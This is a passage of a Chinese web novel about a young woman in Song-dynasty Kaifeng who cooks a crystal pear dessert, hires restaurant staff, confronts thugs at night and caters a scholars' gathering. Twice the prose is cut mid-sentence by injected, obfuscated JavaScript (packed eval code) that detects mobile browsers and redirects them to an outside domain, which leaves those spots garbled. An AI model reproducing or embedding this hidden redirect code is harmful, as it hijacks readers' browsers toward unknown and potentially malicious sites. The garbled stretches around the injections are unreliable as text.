傅霁景笑道:“中举之后,我们还要举行乡里祭酒、叩谢皇恩、纳名报道,若要忙完,怕又要小半个月。” 一边说,一边从袖子里取出一袋银子交给柳金枝。 “这十两银子先算作我的订金,若有不够,娘子尽管来傅府找我。” 柳金枝看着银子咧嘴笑开了,道:“郎君日理万机,我可不敢打扰,若有事,我只管找杏安就行。” 傅霁景默了一下,慢吞吞道:“其实我最近也不算忙,毕竟春闱已过。” “呃呃。”柳金枝挠了挠头,改口道:“那郎君既然不忙,我有事就与郎君相商。” 毕竟是一棵多金的大树,还是哄好一点为好。 傅霁景又笑起来:“好,随时恭候。” 柳金枝望着他温暖俊眉的眉眼,心中不由一动。 傅霁景生的……真是好看。 * 柳金枝等人出去踏青时还是立春,放榜时已是雨水节气,而再等到半月后的同期集会,便是惊蛰。 作为中国的二十四节气之一,惊蛰的到来象征着天气转暖。 春雷初鸣,惊醒蛰伏于地下的冬眠的昆虫和动物。 无论是古还是今,对于这天都有很多的习俗。 于宋朝人,身份不同则形式不同。 茶农会在惊蛰这天进行“喊山祭茶”,被赵汝砺在《北苑别录》中称之为:“春虫震蛰,千夫雷动,一时之盛,诚为壮观”。 工匠则延续《周礼》中所记载的“启蛰之日蒙鼓皮”的传统,在这天选择鞣制牛皮蒙鼓。 像柳金枝这类平头老百姓,自然是做些普普通通的事。 先是带着一家人把院子里里外外都打扫一边,又在庭院周围撒上驱虫药。 阿芹则是心灵手巧,给家里人都缝制了一个五毒包。 “这是我家乡的习俗,戴五毒包,挂彩丝绳,雷神就会保佑大家百毒不侵。” 阿芹笑着把五毒包分发下去。 月牙拿到了一个绣着山茶花的,捏在手心里,精致小巧,还香香的,她很喜欢。 “谢谢阿芹姐姐。” 杜卫和柳霄两个少年都不好意思,红着脸接过道谢。 柳金枝端着个铜盆,一边走,一边在庭院里洒水驱尘,道:“对了,今天谁去买梨子呀。食梨离虫,这可免不得。” 宋代百姓在惊蛰吃梨,既是因为梨与“离”谐音,寓意远离虫害,也因为梨子润燥功效符合春季养生需求。 那位宋朝著名的吃货诗人——苏轼,还曾记载过将梨与橙子捣碎加醋盐调制的果饮,兼具驱虫与美味。 柳金枝还蛮想试一试的。 “不用买,隔壁黄婶子和钱婶子送了我们好几篮子。”柳霄接话,从门槛后提出来两篮子香梨给众人看,“瞧,都新鲜的不得了。” 柳金枝走过去看。 果然,篮子里的梨子一个个水灵灵的,每个都有成年人拳头大小,闻一闻,梨子的清香扑鼻而来,叫人忍不住新生愉悦。 “那今天我给大家做个新菜式吧。”柳金枝笑眯眯地说。 “哈哈,东家下厨,咱们这回又有口福可享了。”杜卫咂咂嘴,“就是不知道是什么新菜式。” 月牙、柳霄还有阿芹都很期待。 柳金枝拿起一个香梨,在手中高高抛起,再接上,狡黠一笑,道: “水晶梨子。” 做这道小食需要预备下香梨两个、金橘四颗、红枣四颗,以及银耳半朵。 据《本草纲目》记载,银耳有清热润肺、补气益虚的作用。 再加上银耳本是一种真菌,可以在山上采得。 因此发现了银耳的宋朝人也爱用银耳来煲汤,或者是售卖。 柳金枝让杜卫出去跑个腿,就买了一袋子上好的银耳回来。 她把银耳放在水中泡发备用,然后把钱婶子等人送来的香梨洗净,小刀削皮,果蒂留用,果肉去皮、去核、切块。 金橘也清洗干净。 红枣对半切开,把里面细长的棕色枣核挑出来。 再统统倒入一只炖锅当中。 阿芹好学不倦,依旧蹲在一边帮忙打下手,所以没等柳金枝吩咐,炖锅的灶眼里就起了火。 柳金枝把梨肉、梨、泡发的银耳、金橘、红枣都放入炖锅里头去,再加入适量的冰糖、清澈的井水,一起炖煮大半个时辰。 换算成现代时间,就是一点五个小时。 往锅内看,可以发现随着时间的推移,锅内吞吐着大量白色蒸汽,井水被逐渐煮干,汤汁逐渐粘稠起来。 等到井水全部熬干,只剩下最为粘稠的浅色液体的时候。再准备一个过滤网,把锅内的液体倒入过滤网之中。 把渣滓丢掉,余下一些像半固体一样流动的东西,就是混合了冰糖、银耳的梨汁。 如果现在去吃它,口感可能会像果冻? 但柳金枝做菜讲究色香味俱全,不会把这个半成品端出去见人。 所以她把过滤出来的梨汁再次倒入另一个炖锅之中,将其煮沸、溶解,再加入一些白凉粉进行搅拌。 等到白凉粉溶解的差不多了,将梨汁倒入准备好的模具之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594062|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中,根据自身喜好加入适量,可使用的花草或者果干。 家里的人都很喜欢吃金橘,所以柳金枝加的金橘很多,红枣次之。 一瓣瓣金黄饱满的橘片果肉,放入梨子形状的模具当中,再倒进梨汁,尽量让梨汁包裹住整片金橘。 但这时候看起来还不像真正的梨子。 而削梨子时留下的果蒂就派上了用场,柳金枝将果蒂小心翼翼插在梨子模具的头部,保持和原来的梨子果蒂位置一模一样。 月牙撑着白净的脸,声音软软的问:“阿姐,现在可以吃了没有呀?” 柳金枝摇摇头,笑道:“还差最后一步。” 于是把梨子模具整个端起来,快步朝一个方向走去。 那是自家冰窖。 杜卫和柳霄在柳金枝的示意下,合力把冰窖口的盖子打开,瞬间,一股寒意冲出来,冻得众人忍不住抖了一下。 柳金枝站在冰窖口往下看,可以见到冰窖不大,而且还黑漆漆的,从头顶泄露的光源,勉强可以看见里面储存了三四桶冰,每个桶上又加了盖子,严丝合缝的封着。 “来,我先下去,你们给我搭把手。” 柳金枝把手里端着的模具递给杜卫,自己提着衣裙先爬下冰窖,启开其中一只冰桶的盖子。 寒气更甚,成股成股朝外头扑去。 “东家,接着。” 杜卫半跪在冰窖口,把模具递下去。 柳金枝接过,再整个放到冰桶里头,和冰块挨在一起,重新盖上盖子。 这就是做水晶梨子的最后一步,冷藏凝固半个时辰。 要是在现代,她打开冰箱放进去就好了。可偏偏是在古代,就只能借助这些存冰的冰桶帮忙。 条件有限,就注定了生产不能扩大。 不然柳金枝还是蛮想在夏天的时候,把这一手水晶梨子做出来售卖。 踩在风口上的生意,大概会跟之前的定胜糕一样卖的不错。 半个时辰之后,柳金枝再度爬进冰窖。 这回再端上来的,就是一个个晶莹剔透到像是用冰雕出来的水晶梨子。梨子圆滚滚的,憨态可掬,腹部还塞有金黄饱满的金橘瓣,又或者是火红的红枣肉。 刚好五个水晶梨子,每人一个。 阿芹上一次见这种做法,还是柳金枝做皮冻水晶脍之时。 但这回水晶梨子的做法,与皮冻水晶脍都不一样。 她好奇之下,凑近水晶梨子浅浅咬了一口。 舌尖顿时感受到了满满的香梨清甜,却又比之甜腻的梨子本身更淡。 口感上更是冰凉、滑软,一口咬下去,似乎都不用咀嚼,这冰冰冷冷的梨子就顺着口腔滑进了肚子里。 这样甜爽冰凉的吃食,她平生仅见。 历经几个时辰做出来的五个水晶梨子,还不到半盏茶的时间,除了果蒂被留了下来,就被所有人吃了个干净。 月牙抱着柳金枝的腿,哀嚎:“阿姐阿姐,下次多做几个嘛,我还想吃山竹馅儿的、荔枝馅儿的、石榴馅儿的。” 就是一向克制的柳霄,这回也是罕见点头附和:“这个水晶梨子味道真的太好了,阿姐,你是怎么想出来的呀?” 柳金枝挠挠头,不好意思一笑,依旧搬出最实用的敷衍话术—— “嗐,我就是在一本古籍上看见的。” 杜卫把所有人吃剩下的果蒂收起来扔掉,笑道:“自从跟了东家,我嘴都被养刁了。以后就算东家不发我工钱,我都不会走。这么多好吃的,在外头要卖上天价呢!” 柳霄听了,灵光一闪,道:“阿姐,水晶梨子做法特殊,以至产量不高,如果拿出去卖,必然要以高价出售。就是再好吃,愿意买的百姓也不多。咱们不如就在达官贵人之间宣传,吸引有钱人家来买。” 这不就是走精品路线吗? 柳金枝觉得这主意可行,点头道:“最好是接受定做,再用这些大官贵客们自己的冰。咱们的冰还要留在夏天卖呢,来来回回开盖子,回头就化成水了。” 反正大户们对于喜欢的东西往往不吝惜银子,区区几块冰更不算什么了。 而且往这些高门大户里跑多了,也能认识不少人脉。 虽说认识不代表有交情,但混个脸熟总比脸生好。 不然就像一些纯粹的暴发户,遇见事情以后,就是捧着银子求人都不知道求谁。 但就有一件事让柳霄操心。 “但是阿姐,现在饭馆刚起步,里里外外都需要你操持,所以外出的时间不能长,还得有个人帮你看顾。” 柳金枝点点头,道:“这个事情我会考量的。” 其实阿芹是可以的,她做事细心,又有一定的手艺,但还不够纯熟。 等到阿芹能做出一道属于自己的招牌菜时,她就可以放心让阿芹帮忙看顾饭馆了。 不过柳霄的话也提醒了一下柳金枝。 “霄哥儿,等到饭馆再稳定运营一段时间,我们再招一些学徒如何?” “阿姐是想要膳徒?目前阿芹姐姐做的不好吗?” 柳金枝摇摇头,道:“阿芹做的不错,但她有自己擅长的手艺,我想,我可以帮她改进菜色,但让她完全像我一样做菜是不可行的。所以我想招收一些小学徒,一心一意学我的菜。” “阿姐此时倒有几分开山祖师授业的风范了。”柳霄望着柳金枝,满眼带笑,“说不定将来,青史也能记下汴京城里的柳家饭馆。” 这个未来虽然美好,却比她想开一家酒楼还遥远。 “我从来不做白日梦。”柳金枝拍拍柳霄的肩膀,“我还是觉得开酒楼更容易实现。” 40. 饭馆经营 饭馆的进项很稳定,每日的银钱流水最高能到五两银子。 但柳金枝觉得饭馆还能更上一层楼,于是决定将饭馆的营业时间延长。 以往他们只做下午和夜市的生意,现在他们连同着上午、中午的生意一块儿做。 这就对跑堂有更高的要求了。 虽然杜卫也能勉强支撑,再加上潘安玉时不时蹿来热情帮忙。 但这样靠两个人轮流下去总不是个办法。 而婶子们年纪也大了,若让她们跑堂,一整天站下来,身体肯定要累出点病痛。 何苦折腾人家? 还是得招专业人才才行。 要是有机会,就连大堂经理也一块儿招了,专门给她统筹饭馆里的大小事务。 好在上次柳霄写了招聘启事贴在饭馆门口,很快就有了一些人来询问。 于是柳金枝专门抽出了一点时间,开始了面试! 月牙从旁协助,给来面试的人分发号码牌,再按照应聘职位的不同排队进屋面试。 跑堂、掌柜、账房…… 分的十分清楚。 第一个来面试的是个身材高挑,面色红润,眉目清秀的年轻男人。 男人对柳金枝叉手下拜,恭敬道:“东家,小人想领跑堂的差。小人嗓音洪亮,记性也好。以前没还俗的时候,曾是个唱经和尚。” 柳金枝饶有兴趣地问:“你以前还当过唱经和尚?” “是的。”男人说起来也不好意思,面皮发红,“小人待的庙宇不许和尚娶妻,但小人有自小就定下的未婚妻,所以小人就还俗了。” “从小定下的?”柳金枝愣了下,“那为什么你还要先去当和尚?” “东家有所不知,我们家乡遭了荒,我和她就逃难来了汴京。” “我俩约定,各自找一个能活下去的差事。” “她去了高官府里当丫头,我就去了庙里头当和尚。” “其实当唱经和尚挺赚钱的,但是今年她的奴期就要到了。要是再等下去又要五年,所以我就寻思着出来找个新差事。” 男人说话的语气很诚恳,面相看起来也老实。 柳金枝就让他试着报了一段菜名,口齿也是清晰又流畅。 “好,请你到外面等一等。” 柳金枝笑道。 男人听话地退了出去,换了第二个人来。 第二个是个身材矮小,但面色红润的瘦弱男人。 简单自我介绍过后,柳金枝同样让人报菜名。 与第一个男人一样流畅、自然,但稍有气虚,音色也不够圆润。 第一个人能被选上唱经和尚,确实是有点底子和天赋在的。 往后接着面试,但好几个都不比第一个出色。 柳金枝便定下了第一个男人,将他的名字“王忠勇”记了下来。 紧接着就是面试掌柜和账房。 这两个职位需要考察的方向各有不同。 掌柜要会统筹大局,和察言观色,账房则要求对算数精通,绝不出错。 也许是柳金枝这里的饭馆还不够大,来的人才不够多。 挑来挑去,都没有什么特别合适的。 只能是矮子群里拔高个儿,勉强提拔了两个上来。 一个叫林勤,是土生土长的汴京人,有当掌柜的经理,但时间不长,只有三个月,那小饭馆就因为经营不善倒闭了。 但胜在颇为机敏,给他一段时间成长,说不定也有惊喜。 一个叫吴兴镛,是个屡试不中的酸秀才,四十几岁的年纪。 虽然他的算术能力足够应对饭馆的琐事,但为人有些古板、迂腐、不太善于沟通。 柳金枝就交代林勤多留意吴兴镛一些,不叫吴兴镛与其他员工发生矛盾。 至此,饭馆的三个职位都定下了人选。 杜卫就可以一心一意当采办和咸汉,也能轻松一些。 柳金枝满意地拍了拍手,让阿芹把招聘告示揭下来,然后就带着新招聘的几个员工开始干活儿。 “咱们饭馆不仅售卖各类菜品,点心、朝食也有卖。”柳金枝把三块单子牌面递给王忠勇,“所以你需要背下三块单子牌面,还得分清当天的特色菜品、折扣出售、不再售卖和已售罄的菜色有哪些。” 王忠勇认真点点头,把单子牌面接了过来。 “掌柜的是个重要差事,你得统管整个饭馆的人。比如膳房有一个主膳工,和一个膳徒。” “后头有三个洗碗的婶子。” “还有跑堂的王忠勇、管账的吴秀才、跑腿和采办的杜卫,他们每个人每天该做什么样的活计,你都得安排得当。” 柳金枝道。 林勤看着饭馆里客似云来的红火模样,也清楚这家饭馆绝不是他上次工作的饭馆可比的。 也就格外慎重地点头:“东家放心,我会注意的。” 柳金枝一笑,又转向吴兴镛,语气软了一些,道: “吴秀才,你有一间自己的小房间,就在饭馆的后院儿。” “你的任务就是算清楚饭馆每日的银钱流水,比如买进的菜蔬花费银两?卖出的菜品收得银两?” “每个月要总出一份流水账单给我,总算出当月的进项和出项。” “吴秀才,此事对你可有难度?” 吴兴镛扯了扯嘴角,冷笑道:“寻常人家的流水计算,难道比得上朝廷出的题目难?” 柳金枝笑道:“那就拜托先生了。” 当然,柳金枝立志要做的不是万恶资本家,是一个有良心的好老板。 “诸位在我手底下办差,且不要瞧我是一介女流,就以为我感情用事,心与耳根子都软。” “恰恰相反,我是奖惩分明。” “办事办的好,不管你职位高低,每个月都有额外的奖金。” “但办事办的差,我也不管你是有脸的、还是没脸的,银子,我照样扣。” 柳金枝把丑话说在前头,语气自然就严厉了些。 吴兴镛一皱眉,似乎很不喜欢她这态度,正要开口,岂料下一句就听到: “我们饭馆生意还不错,作为东家,我也不会亏待你们。” “你们每日可得工钱为一百二十文,逢年过节额外有礼品相送。” “待往后饭馆生意越来越红火,就由我这个东家出银子,带你们外出游玩。不想去的,我也折了现银给你。” 柳金枝唇边带着笑,眼眸亮晶晶的,道:“好了,现在,如果有人不接受我的条件和要求,可以走了。” 她侧身让开一个空间。 而方才还想说些什么的吴兴镛一下子闭了嘴。 其他两人更是连眼睛都亮了。 那可是一百二十文! 普通人一天也就赚个一百文左右。 更别提还有这些个福利。 傻子才不在这儿做。 于是王忠勇和林勤两个争相表忠心。 就连最为清高的吴兴镛也在纠结半晌之后,憋出了一句:“谢谢东家。” 有钱能使鬼推磨,古语诚不欺我。 * 三位新员工在饭馆里工作了一天,目前适应情况良好。 柳金枝看在眼里,也放心了很多。 而阿芹的厨艺也有了一定的进步,上回柳金枝提出她做的“糖醋丸子”有问题后,她就潜心钻研,改良了许多,又做给柳金枝吃。 这回的味道出色多了,不再是自家后厨里的小打小闹,而是可以在饭馆挂牌的程度。 “阿芹,其实每个人都有自己的路子。你可以跟着我学厨艺,但你自己的手艺别荒废了。” 柳金枝擦了擦嘴。 “你的糖醋丸子做的不错,可以在饭馆内挂牌,有没有想过接下来再钻研一道拿手菜?” 阿芹道:“其实我做饭的手艺都是我娘教的,她怎么教,我就怎么做,这多年来,我做习惯了,也吃习惯了。” “所以很多道菜我吃不出哪儿不对劲,若要钻研,只能劳烦东家多替我试菜。” “这个是自然。” 柳金枝答应。 阿芹若精进了手艺,受益的其实也还是柳氏饭馆。 “好,那下一道菜我便做过油肉,也是山西那边的名菜。” 阿芹高兴的说。 柳金枝点点头,道:“今天时间正好,我替你把糖醋丸子加上单子牌面,看看食客们的反应。若是反响不错,销量可观,我给你额外的赏钱。以后你每研制出一道受欢迎的菜,福利都如现在这般。” 阿芹虽然来柳氏饭馆,更多的是为了学手艺,但白花花的银子砸下来,谁不心动? 当下便忍不住心潮澎湃,浑身满满都是动力,恨不得立马再钻研出十道菜来。 “谢东家!” 汴京城是富贵聚集之地,天南海北的商人都会在此处略作停留,当然也不会缺少山西人。 所以林勤把“今日特色——陕西名菜‘糖醋丸子’”挂在饭馆门口后,很快就吸引来了几位山西老乡。 他们一面打量着饭馆内的装潢布置,一面落座,互相交谈道: “以前来汴京的时候,倒没见过这个饭馆。” “兴许是新开的。” “罢了,先点菜,试试他们这儿的糖醋丸子。” “许久不吃家乡菜,也不知道这里的膳工能不能做出那份味道。” 两人笑了笑,年近中年的脸上,满是奔波操劳带来的沧桑沟壑。 人在他乡的游子,最想的莫过于一口家乡美食。 不求一模一样,但求形似,也能一解思乡之苦。 王忠勇替二人把菜名记下来,又推荐了一些饭馆热卖小食,这才立在膳房门口唱出菜名。 一回生、二回熟,三回闭着眼睛都能做。 阿芹运手如风,不消片刻,一碟糖醋丸子就做出来了,由王忠勇再端到二人桌上。 柳金枝靠在柜台后,仔细观察两个人吃饭的样子。 其中一人夹起肉丸放在嘴里咬了一口,咀嚼片刻后,微微一愣。 对面那人也是,像是不可思议般又咬了一口,随后抹了把脸,扬起了一个笑。 没有像电视剧那样,两人红着眼眶开始抱着家乡菜哭泣。 他们默默埋头扒饭,只是吃丸子的速度快了许多。 一碟十二只丸子,几乎是眨眼之间就被他们扫进了肚子里。 吃完饭,二人也没急着走,又坐着看了一会儿膳房处,才起身到林勤这里结银子。 走时,其中一人问:“掌柜的,敢问做糖醋丸子的膳工,是山西人吗?” 林勤不清楚,看向柳金枝。 柳金枝点头:“是山西来的芹娘子。” 那人便是一笑,锤了同伴一拳头,道:“你瞧,我就说是山西老乡。” 同伴乐呵呵的,道:“东家,劳烦你替我们带句话,山西近年来的收成不错,她要是因为以前逃荒出来的,现在可以回家看看了。” 言罢,二人重新背起包袱上路了。 阿芹听在耳朵里,感慨良多。 柳金枝是第二次听到逃荒这个词。 她问道:“其他省份灾情很多吗?” 这个问题王忠勇最有发言权。 感叹道:“是啊,旱灾、洪涝都有,百姓们辛辛苦苦种的粮食,一遇到这些灾情就全毁了。不想饿死的,就只能外出逃荒。” 柳金枝抿了抿唇,看向街道外,车水马龙、游人如织,好像外头的天灾人祸永远都到不了汴京。 也难怪,逃难到汴京是所有人的首选。 这里正是天下最繁华处。 * 从正午到晚间,阿芹的糖醋丸子卖的很不错。 给本来就爆火的小饭馆增色不少。 载加上做夜市,一行人忙碌到三更鼓,也就是凌晨三点才关上门。 柳金枝打了个哈欠,本是要回家。 但正巧遇上杜卫扛着扁担,送完吃食回来。 杜卫道:“东家,我在回来的路上遇见宣泰桥那些个泼皮无赖了!正朝我们这边来呢!” “好啊,终于来了。”柳金枝困意一扫而光,她撸起袖子,“走,杜卫,跟我出去走一趟。” 又转身吩咐阿芹:“阿芹,你先把月牙送回家吧。” 他们今天收摊太晚,月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597309|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牙已经把小脸枕在饭桌上,呼呼大睡起来,脸蛋红红的,煞是可爱。 阿芹道:“好,东家一切小心。” 柳金枝点头,让杜卫拿上扁担、麻袋,出了门。 深夜中的汴京城依旧繁华热闹,但三更鼓时,繁华慢慢褪却,周边街道都是一副狂欢过后的狼藉模样。 柳金枝提裙跳过地面上一摊垃圾,与杜卫蹲在了一处街角。 “东家。”杜卫无限压低了声音,“那几个泼皮无赖要想以最快的速度赶到咱们饭馆,这条街是他们的必经之路。” 柳金枝点点头,道:“确定他们只有两个人,对吧?” “对!” “好,那待会儿咱们这样做。” 柳金枝凑近杜卫的耳畔低语了几句。 杜卫点头。 正巧,这时街道远方也摇摇晃晃走过来两道影子。 其中一个身形高高壮壮,蓄着络腮胡须。另一个高高瘦瘦,形容猥琐。 两个人一边走,还在一边嘀咕。 “大哥,柳家那雌儿我见过,生的着实带劲儿!玩起来不知道有多销魂。” “听说她未曾许过人家,还没破瓜呢。” “这不正巧便宜了你我?” 两人嘿嘿一笑。 “大哥,我早踩过点了,她家里一个男人都没有,我们闯进去,把个刀子插在门上,那些个小鬼胆子都要吓破,绝不会来插手帮忙。” “就是敢来帮忙,你我一脚一个,踹翻就好。” 他们似是喝了酒来的,言语之间醉醺醺地,也很是嚣张。 柳金枝被恶心地皱起眉头,转头对杜卫说:“等会儿狠狠打!不要留手!” 杜卫绷着脸:“当然!” 二人静待时机。 直到其中瘦高男人起了尿意,往街角蹭了两步,解开裤腰带开闸放水。 柳金枝与杜卫才行动起来。 她解开腰中茄袋,取出一块银子抛出去。 月光倾泻之下,银子闪烁着光芒,叫瘦高男人眨巴了两下眼睛,继而摇摇晃晃朝银子走来。 男人捡了一块,柳金枝又丢一块。 直到把男人引到小巷更深处,杜卫拿着麻袋迎面一扑! 直接把男人套在了麻袋里。 男人顿时惊慌失措,就要叫出声来,柳金枝操起扁担就是一下! 砰——! 这一下正中小腿,男人直接疼晕了过去。 高壮男人似乎听到了什么异样,试探性地问:“二弟?二弟?!你那边怎么了?” 这个人喝的酒显然比瘦高男人少,声音起来还算清醒,脚步也很稳重,比瘦高男人难对付。 柳金枝却不怕,她撸起袖子,操起扁担,打算等男人到了,她再闷头一敲。 下一刻,只听得噗通一声,像是什么重物砸在了地面,紧接着男人的声音就消失了。 这什么情况? 柳金枝与杜卫对视了一眼,双方都有些紧张,小心翼翼朝前方看去。 却看见两三个鬼鬼祟祟的人影,围成一团,对着地上躺着的高壮男人道: “怎么就麻达一个?他弟弟麻二呢?” “我看麻二往小巷子里去了,估计是喝多了撒尿呢。” “走!把麻二找出来。” …… 说完,人影就朝柳金枝这边摸来。 柳金枝还想着,这两个泼皮无赖还真是四处结仇,居然一天只能有两波仇家找上门,下一秒却猝不及防与一张熟悉的脸对上了视线。 “潘、潘大官人?!” 柳金枝瞪大了眼睛。 潘琅寰看着柳金枝手里的扁担,和身后拿着麻袋的杜卫,同样目瞪口呆。 而潘琅寰身后,潘安玉、应天爵、项志轩都冒出了头。 双方面面相觑。 潘琅寰扯下脸上面巾,道:“三更半夜的,你们出来干什么?” 柳金枝指了指脚边被自己打晕的瘦高男人,咳咳道:“额……出来寻仇,你们呢?” 应天爵笑道:“妹子,我们替你寻仇呢。” 原来潘琅寰老早就知道孙玉香来找麻烦的事儿了,也知道最近有人不老实,盯着柳氏饭馆。 但柳金枝不许杜卫去寻应天爵,摆明了是想要自己一个人解决,潘琅寰就是有心插手,也不好开口。 思来想去,为了保证柳金枝的安全,潘琅寰决定摸清楚这几个地痞无赖的路线,带着人在深夜里把他们解决掉。 潘安玉道:“柳姐姐你不知道,他们这伙儿人足有七个,互为拜把子兄弟,常年凑在一起做些腌臜事。” “我们与潘大官人一同,先是摸去了他们老巢,把那五个打了一通。还余下这两个外出了,这才一路顺着踪迹摸过来。” 项志轩道。 柳金枝看向潘琅寰。 潘琅寰却不耐烦地朝潘安玉、项志轩等人摆摆手,道:“都闭嘴,这有什么好说的?既然现在没事儿了,那就散了吧。明个儿我再请你们吃饭。” 应天爵见状,却有些犹豫。 他知道潘琅寰对柳金枝有意,但同样的,傅霁景也对柳金枝有心。 作为朋友,他乐于见到潘琅寰抱得美人归。 但出于利益,他又希望柳金枝能与傅霁景终成眷属。 此时此刻,潘琅寰的所作所为,就是他都不免意动。 就怕柳金枝也为之有所感触。 那傅霁景怎么办? 所以,应天爵在犹豫自己要不要留下来当电灯泡。 却不想此时有巡逻队的敲锣走来,他们这群人全都停在这里太过显眼,一下子就被看见了,免不得大吼一声: “谁在哪儿?!” 虽说他们师出有名,但被抓住还是要挨板子的! 一群人顿时慌张失措,赶忙作鸟兽散。 潘琅寰本想护着柳金枝,怕她被巡逻队的拿住。 明明已经伸出手去抓住了柳金枝的衣袖,偏偏黑夜中他不知被谁撞了一下,布料从他手中倏然滑走。 再抬眸时,他已经与柳金枝跑散了方向。 唯有手心还残存着布料的触感。 41. 碧涧羹 惊蛰过后,春闱之事尘埃落地。 同期集会的时候也要提上日程了。 柳金枝先是与傅霁景确定了人数,定好当天会有三十人到柳氏饭馆来,还有余下七十几位考生,则是再分两组,去往其他饭馆集会。 这样为柳金枝减少了人员压力,叫她松了一口气。 为了不叫傅霁景失望,柳金枝提前一天带着杜卫去市场进行采买。 把当天要用到的食材都买了一遍。 集会当天,她把自己拿手的菜色都做了一遍,包括但不限于—— 姜辣羹、卤烧鹅、馉饳、馄饨、紫荆花水晶饺、菜色春饼福袋…… 书生们一进小饭馆的门,就闻到了一股浓郁的菜香,各个都迫不及待地入座了。 傅霁景落在最后头,与柳金枝道谢。 “有劳娘子费心了。” “这有什么?我收了二郎的银子,自然要尽心。” 傅霁景笑了下,转身想走,但没两步又停住,对柳金枝道: “……对了,上回娘子送了我定胜糕和春饼,几位同年吃过后都很欢喜,这是他们写的,我瞧着有几首诗还不错,就留下来了。” 柳金枝有些惊奇地接过诗稿,翻开看了两首。 第一首赞颂定胜糕,写作: “定胜何须问,糕香已报春。江南多锦绣,此物最传神。”① 第二首又有夸赞春饼,是为: “木案初开银线乱,砂瓶煮熟藉丝长。匀和豌豆搡葱白,细剪萎蒿点韭黄。”② 以柳金枝有限的文学水平,她觉得写的很不错。 诗稿一共三篇,很快就翻完了。 柳金枝还想再多看两篇呢。 毕竟这种有文学的彩虹屁,看再多也不嫌累。 忽然,柳金枝好似想到什么,问:“二郎有写诗吗?” 傅霁景耳尖微红,摩挲了一下手指,道:“……写了,但写的不好。” “怎么会呢,不如给我看看?” 柳金枝笑着朝傅霁景伸出手。 傅霁景犹豫着把手伸进袖子里,取了一张折叠成正方形的纸出来,捏在手里,松松紧紧。 柳金枝见他这么犹豫,干脆将纸张抽过来。 傅霁景低咳两声,扭头道:“你先看,我先入席了。” 言罢快走两步。 却不想又被柳金枝叫住。 “诶,二郎,等一下。” 傅霁景立即回头:“什么?” 柳金枝取下那块玉,对着傅霁景晃了晃:“你送的礼物,我很喜欢。” 绯红从耳尖霎时间蔓延至脖颈,傅霁景又被憋成了锯嘴葫芦,急急忙忙地转身退走了。 柳金枝笑着目送傅霁景进屋,然后打方式纸条。 上面用圆润敦厚的字体写道: “无声细下飞翼月,放箸未觉金盘空。” “卷尽春风三寸舌,咬来五谷俱丰登。”③ 柳金枝挠挠下巴。 看不懂,但觉得是好诗。 * 书生们的聚会一开始,就持续了将近两个时辰。 期间柳金枝买了樊楼的金华酒送进去,看着这些书生高兴启封酒坛,喝了个伶仃大醉。 傅霁景本想少喝些,却耐不住劝,被人连灌五杯金华酒,眼前也不由炫目起来,只好以单手撑住头颅,坐在原位静静闭目养神。 另外一些喝醉了的书生们,或是投壶助兴,或者齐声高歌。 柳金枝这个饭馆不大,即使中间挡着屏风,但拦不住他们的声音。 于是没过多久,柳金枝就听到里头有书生提议: “光是饮酒玩耍多没意思,不如我们来办一场醉诗会,看看谁能拔得头筹!” 此言一出,众皆响应。 柳金枝坐在外头,酸懒地拨了个算珠,心想:果然是群文人,喝醉了也不发酒疯,倒发诗疯。 “行,定个主题吧,咱们咏什么?” “呃呃……就、就咏桌上的菜。一共二十八道菜,一道菜作一个题,没咏出来的罚酒三杯!” “好!傅、傅兄,来来来,你来启头!”拿笔墨纸砚! 有人去拉傅霁景,但傅霁景醉的太厉害,依旧端坐原地不动。 柳金枝见状,也不想傅霁景留在一堆醉鬼里头,转头让林勤去把傅霁景扶到后院去醒醒酒。 林勤听话去了,也正是把傅霁景扶着往后院走。 但路过柜台时,傅霁景好似认出了柳金枝,忽然就甩开林勤的手,在柳金枝面前站定了。 柳金枝一愣,疑惑道:“二郎,你是有什么事要吩咐吗?” 傅霁景眉眼极为俊美好看,往日清醒时,一双眼眸似春风湖水,明亮如镜。如今醉醺醺的,眼眸反而像一汪深不见底的幽潭,叫人不知道他在想什么。 在听到柳金枝的话后,傅霁景就伸手去掏自己的袖子,似乎在找什么东西,嘴里还念着:“纸……纸……” 柳金枝以为傅霁景是想找给她写的诗,就把那张方块纸在傅霁景面前晃了一晃。 “你已经给我了。” 柳金枝说。 岂料傅霁景眯眯着眼凑近看了半晌,又摇头:“不……不是这张。” 紧接着又翻找起来。 此时温文尔雅,君子端方的傅家二郎,红着脸翻找自己的袖子,就像最不懂事的幼稚小儿一样。 有食客忍不住笑了笑,扯着同伴去看傅霁景的醉态。 柳金枝却将眉一拧,拉着傅霁景去了后院。 她不想别人看傅霁景的笑话。 林勤见状,就赶忙回过头笑道:“喝醉了人没什么好看的,大家吃菜,吃菜。” 而柳金枝把人拉到后院,傅霁景还是在翻找袖子,可是好半天没找到,又沮丧又难过地说:“……没……了……” 他哭丧着脸,两只眸子像是被水洗过一样水润,眨巴眨巴的,像只无主的小狗。 柳金枝方才还拧起的眉头一下子就松开了,忍不住哄他道:“二郎,你已经把东西给我了,我收着呢。” 然后将人往膳房外头的小杌子上一按,说:“现在二郎听话,就坐在这里别动,我去给你煮醒酒汤。” 傅霁景反应很迟缓,好像大脑还在消化柳金枝的指令。 好一会儿才慢慢吞吞地点头:“……好。” 